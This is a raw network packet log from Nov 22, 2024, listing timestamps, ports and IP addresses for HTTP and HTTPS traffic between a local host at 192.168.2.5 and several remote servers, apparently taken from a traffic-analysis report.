Nov 22, 2024 00:11:58.258891106 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.259820938 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.259865046 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.259898901 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.259929895 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.260912895 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.260963917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.260987997 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.261053085 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.261989117 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.262032032 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.262096882 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.262140036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.263094902 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.263165951 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.263200045 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.263246059 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.264139891 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.264245987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.264281034 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.264333010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.265254974 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.265309095 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.265372992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.265424013 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.266311884 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.266374111 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.266433001 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.266482115 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.267386913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.267442942 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.267518044 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.267659903 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.268492937 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.268558979 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.268625021 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.268672943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.269587994 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.269680977 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.269718885 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.269815922 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.270801067 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.270834923 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.270872116 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.270899057 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.271806002 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.271840096 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.271899939 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.272830009 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.272922993 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.272959948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.272959948 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.273919106 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.273953915 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.273969889 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.274003029 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.274986029 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.275060892 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.275127888 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.275218964 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.276078939 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.276201010 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.276257992 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.276324987 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.277137995 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.277196884 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.277259111 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.277308941 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.278245926 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.278304100 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.278378010 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.278434038 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.279335976 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.279372931 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.279392004 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.279418945 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.280353069 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.280402899 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.280467987 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.280584097 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.281480074 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.281514883 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.281539917 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.281563044 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.282552004 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.282588005 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.282604933 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.282633066 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.283626080 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.283682108 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.283741951 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.283963919 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.284710884 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.284770012 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.284837008 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.284883976 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.285799026 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.285870075 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.285900116 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.285947084 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.286910057 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.286968946 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.287022114 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.287070036 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.287952900 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.288024902 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.288036108 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.288108110 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.289160967 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.289196014 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:58.289248943 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:58.312939882 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.312975883 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.313044071 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.313055992 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.315912962 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.315978050 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.317378044 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.317399025 CET	443	49892	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.317409992 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.317457914 CET	49892	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.321950912 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.321975946 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.322005987 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.322030067 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.322057962 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.322088003 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.350302935 CET	49894	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.350318909 CET	443	49894	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.357635021 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.357712984 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.357800961 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.375340939 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.375366926 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.375430107 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.375437975 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.375477076 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.379409075 CET	49890	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:58.379416943 CET	443	49890	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:58.411701918 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.414511919 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.414664984 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.415080070 CET	49886	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.415095091 CET	443	49886	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.417434931 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.417434931 CET	49887	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.417475939 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.417503119 CET	443	49887	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.451637030 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.451678038 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.451915979 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.482351065 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.482377052 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.524780035 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.524893999 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.525125027 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:58.526273966 CET	49895	443	192.168.2.5	18.173.219.113
Nov 22, 2024 00:11:58.526288986 CET	443	49895	18.173.219.113	192.168.2.5
Nov 22, 2024 00:11:58.562556028 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.562649965 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.564707994 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.596240044 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.596259117 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.596277952 CET	49889	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.596283913 CET	443	49889	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.612612963 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.612658978 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.612792969 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.612808943 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.615902901 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.615972042 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.684040070 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.696330070 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.696358919 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.696932077 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.696938992 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.711671114 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.711703062 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.711884975 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.712002039 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.712009907 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.726377010 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:58.730709076 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:58.730726004 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:58.731095076 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:58.735994101 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:58.736068964 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:58.736345053 CET	49888	443	192.168.2.5	13.107.246.40
Nov 22, 2024 00:11:58.736365080 CET	443	49888	13.107.246.40	192.168.2.5
Nov 22, 2024 00:11:58.740261078 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:58.787333012 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:58.984189034 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.984819889 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.984857082 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:58.985342026 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:58.985348940 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.027642012 CET	443	49900	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.027914047 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.027924061 CET	443	49900	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.029884100 CET	443	49900	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.030030012 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.030945063 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.031032085 CET	443	49900	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.063308001 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:59.063364983 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:59.068835020 CET	443	49899	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.069154024 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.069166899 CET	443	49899	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.070208073 CET	443	49899	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.070266962 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.070628881 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.070698023 CET	443	49899	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.073857069 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.073868036 CET	443	49900	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.119884968 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.119896889 CET	443	49899	23.219.82.72	192.168.2.5
Nov 22, 2024 00:11:59.119919062 CET	49900	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.133742094 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.133886099 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.134052038 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.134155035 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.134155035 CET	49896	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.134201050 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.134227991 CET	443	49896	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.136830091 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.136862040 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.137336969 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.137586117 CET	49907	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.137602091 CET	443	49907	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.159863949 CET	49899	443	192.168.2.5	23.219.82.72
Nov 22, 2024 00:11:59.184242964 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:59.184390068 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:59.206367016 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:59.206510067 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:59.206634045 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:59.209009886 CET	49897	443	192.168.2.5	20.110.205.119
Nov 22, 2024 00:11:59.209028959 CET	443	49897	20.110.205.119	192.168.2.5
Nov 22, 2024 00:11:59.360574007 CET	443	49901	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.360820055 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.360836983 CET	443	49901	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.361505985 CET	443	49902	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.361898899 CET	443	49901	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.361943960 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.361953020 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.361958981 CET	443	49902	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.362874031 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.362936974 CET	443	49901	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.362998962 CET	443	49902	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.363063097 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.363976002 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.364048004 CET	443	49902	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.411336899 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.411339998 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.411360979 CET	443	49901	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.411364079 CET	443	49902	204.79.197.219	192.168.2.5
Nov 22, 2024 00:11:59.432898998 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.432969093 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.433319092 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.433589935 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.433605909 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.433629036 CET	49898	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.433636904 CET	443	49898	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.435976028 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.436017036 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.436114073 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.436254025 CET	49908	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.436268091 CET	443	49908	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.458797932 CET	49901	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.458914042 CET	49902	443	192.168.2.5	204.79.197.219
Nov 22, 2024 00:11:59.870599985 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:59.871762037 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:59.871778965 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:59.872159004 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:59.873071909 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:59.873133898 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:59.875052929 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:11:59.876173973 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.906284094 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.906330109 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.906801939 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:59.906809092 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:59.915374041 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:11:59.918045998 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.918103933 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:59.918162107 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.920245886 CET	49909	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.920260906 CET	443	49909	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:59.939233065 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.939289093 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:59.939428091 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.941566944 CET	49910	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.941586971 CET	443	49910	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:59.945637941 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.945661068 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:11:59.945729971 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.946511030 CET	49911	443	192.168.2.5	23.57.90.111
Nov 22, 2024 00:11:59.946522951 CET	443	49911	23.57.90.111	192.168.2.5
Nov 22, 2024 00:12:00.011028051 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:00.011157990 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:00.086363077 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:00.205605984 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:00.359108925 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.359298944 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.359601974 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.359638929 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.359638929 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.359659910 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.359668016 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.362436056 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.362463951 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.363082886 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.363327980 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.363342047 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.363636971 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.364146948 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.364165068 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.364581108 CET	49906	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.364586115 CET	443	49906	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.383635044 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:12:00.383651018 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:12:00.383703947 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:12:00.383713961 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:12:00.383733988 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:12:00.383779049 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:12:00.384397030 CET	49904	443	192.168.2.5	20.75.60.91
Nov 22, 2024 00:12:00.384407997 CET	443	49904	20.75.60.91	192.168.2.5
Nov 22, 2024 00:12:00.385380030 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.385814905 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.385838985 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.386370897 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:12:00.386378050 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 00:12:00.539443016 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:00.539509058 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:00.539542913 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:00.539587975 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:00.539958000 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:00.540023088 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:00.585311890 CET	49788	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:12:00.705164909 CET	80	49788	185.215.113.206	192.168.2.5
Nov 22, 2024 00:12:00.813231945 CET	443	49906	13.107.246.63	192.168.2.5
